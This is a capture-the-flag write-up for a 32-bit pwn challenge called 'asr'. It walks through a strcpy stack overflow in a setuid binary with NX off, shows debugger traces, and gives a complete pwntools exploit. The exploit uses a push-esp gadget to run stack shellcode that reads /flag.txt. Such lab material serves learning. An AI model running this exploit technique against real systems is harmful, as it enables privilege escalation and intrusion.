asr
Overview

asr

January 12, 2026
4 min read
2

asr

Category
pwn
Files
asr-dist.zip
Description
advanced shellcode runner now with a web interface.

Inspecting the binary with checksec:

Terminal window
checksec chall
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown
PIE: No PIE (0x8048000)
Stripped: No

The binary is a 32-bit ELF with NX disabled and No PIE. This is a classic setup for shellcode execution since the stack is executable.

Program Analysis

The challenge provides a web interface that allows us to pass a hex-encoded string as an argument to the asr binary. Looking at the decompiled source code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void logMessage(char *message) {
FILE *fp;
fp = fopen("/var/log/great_log.txt", "a");
if (fp == NULL) {
puts("Failed to open log file.");
} else {
fprintf(fp, "Log: %s\n", message);
fclose(fp);
}
}
void processData(char *data) {
char buffer[264];
// VULNERABILITY: Buffer overflow via strcpy
strcpy(buffer, data);
printf("Data processed: %s\n", buffer);
logMessage(buffer);
}
int main(int argc, char **argv) {
setuid(0);
if (argc < 2) {
printf("Usage: %s <data>\n", argv[0]);
return 1;
} else {
puts("Processing data...");
processData(argv[1]);
}
return 0;
}

The vulnerability is a straightforward stack-based buffer overflow in the processData() function. It uses strcpy() to copy the user-provided argument into a 264-byte buffer without any bounds checking.

void processData(char *data) {
char buffer[264];
// VULNERABILITY: Stack-based buffer overflow
strcpy(buffer, data);
printf("Data processed: %s\n", buffer);
logMessage(buffer);
}

Since the buffer is on the stack, we can overwrite the saved return address by providing an input longer than 264 bytes (plus the saved EBP).

Exploitation

The goal is to redirect execution to our shellcode. Since NX is disabled, the stack is executable, but we don’t have a way to leak its address.

I found an interesting gadget that could be used for the exploitation:

Terminal window
ropper -f ./chall
..
0x080490d7: push esp; mov ebx, dword ptr [esp]; ret;
..

payload without gadget

Terminal window
pwndbg>
───────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────
EAX 0x19
EBX 0x61616161 ('aaaa')
ECX 0xf7fac8a0 (_IO_stdfile_1_lock) ◂— 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0xffffd2a0 ◂— 2
EBP 0x61616161 ('aaaa')
ESP 0xffffd24c ◂— 0x6768746a ('jthg')
EIP 0x8049293 (processData+90) ◂— ret
─────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────
0x8049293 <processData+90> ret <0x6768746a>
──────────────────────────────────────────[ STACK ]──────────────────────────────────────────
00:0000│ esp 0xffffd24c ◂— 0x6768746a ('jthg')
01:0004│ 0xffffd250 ◂— 0x6878742e ('.txh')
02:0008│ 0xffffd254 ◂— 0x616c662f ('/fla')
03:000c│ 0xffffd258 ◂— 0xc931e389
04:0010│ 0xffffd25c ◂— 0xcd58056a
05:0014│ 0xffffd260 ◂— 0x5b016a80
06:0018│ 0xffffd264 ◂— 0xd231c189
07:001c│ 0xffffd268 ◂— 0xffffff68
────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────
0 0x8049293 processData+90
1 0x6768746a None
2 0x6878742e None
3 0x616c662f None
4 0xc931e389 None
5 0xcd58056a None
6 0x5b016a80 None
7 0xd231c189 None
─────────────────────────────────────────────────────────────────────────────────────────────

The program crashes because 0x6768746a is not a valid address to execute.

However, by using the gadget at 0x080490d7, we ensure that EIP points to the real address of the shellcode:

Terminal window
pwndbg>
0x080490dc in _start ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────
EAX 0x19
*EBX 0xffffd240 ◂— 0x6768746a ('jthg')
ECX 0xf7fac8a0 (_IO_stdfile_1_lock) ◂— 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0xffffd290 ◂— 2
EBP 0x61616161 ('aaaa')
ESP 0xffffd23c —▸ 0xffffd240 ◂— 0x6768746a ('jthg')
*EIP 0x80490dc (_start+44) ◂— ret
─────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────
b+ 0x8049293 <processData+90> ret <_start+39>
0x80490d7 <_start+39> push esp
0x80490d9 <_start+41> mov ebx, dword ptr [esp] EBX, [0xffffd23c] => 0xffffd240 ◂— 0x6768746a ('jthg')
0x80490dc <_start+44> ret <0xffffd240>
0xffffd240 push 0x74
0xffffd242 push 0x78742e67
0xffffd247 push 0x616c662f
0xffffd24c mov ebx, esp EBX => 0xffffd234 ◂— '/flag.txt'
0xffffd24e xor ecx, ecx ECX => 0
0xffffd250 push 5
0xffffd252 pop eax EAX => 5
──────────────────────────────────────────[ STACK ]──────────────────────────────────────────
00:0000│ esp 0xffffd23c —▸ 0xffffd240 ◂— 0x6768746a ('jthg')
01:0004│ ebx 0xffffd240 ◂— 0x6768746a ('jthg')
02:0008│ 0xffffd244 ◂— 0x6878742e ('.txh')
03:000c│ 0xffffd248 ◂— 0x616c662f ('/fla')
04:0010│ 0xffffd24c ◂— 0xc931e389
05:0014│ 0xffffd250 ◂— 0xcd58056a
06:0018│ 0xffffd254 ◂— 0x5b016a80
07:001c│ 0xffffd258 ◂— 0xd231c189
────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────
0 0x80490dc _start+44
────────────────────────────────────────────────────────────────────────────────────────────
...

The gadget effectively pivots the execution flow into the stack address 0xffffd240, where our shellcode is at.

Exploit Script

from pwn import *
import requests
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
b *processData+0x5a
continue
'''.format(**locals())
exe = './chall'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)
def loglibc(): log.success('libc addr = %#x' % libc.address)
def logbase(): log.success('pie addr = %#x' % elf.address)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
offset = 272
shellcode = asm(shellcraft.cat('/flag.txt'))
assert b'\x00' not in shellcode, "Shellcode contains null bytes!"
print(f"Shellcode: {shellcode.hex()}")
gadget = 0x080490d7 # push esp; mov ebx, [esp]; ret
payload = b'\x90' * offset + p32(gadget) + shellcode
print(f"[+] Payload hex: {payload.hex()}")
io = start([payload])
io.interactive()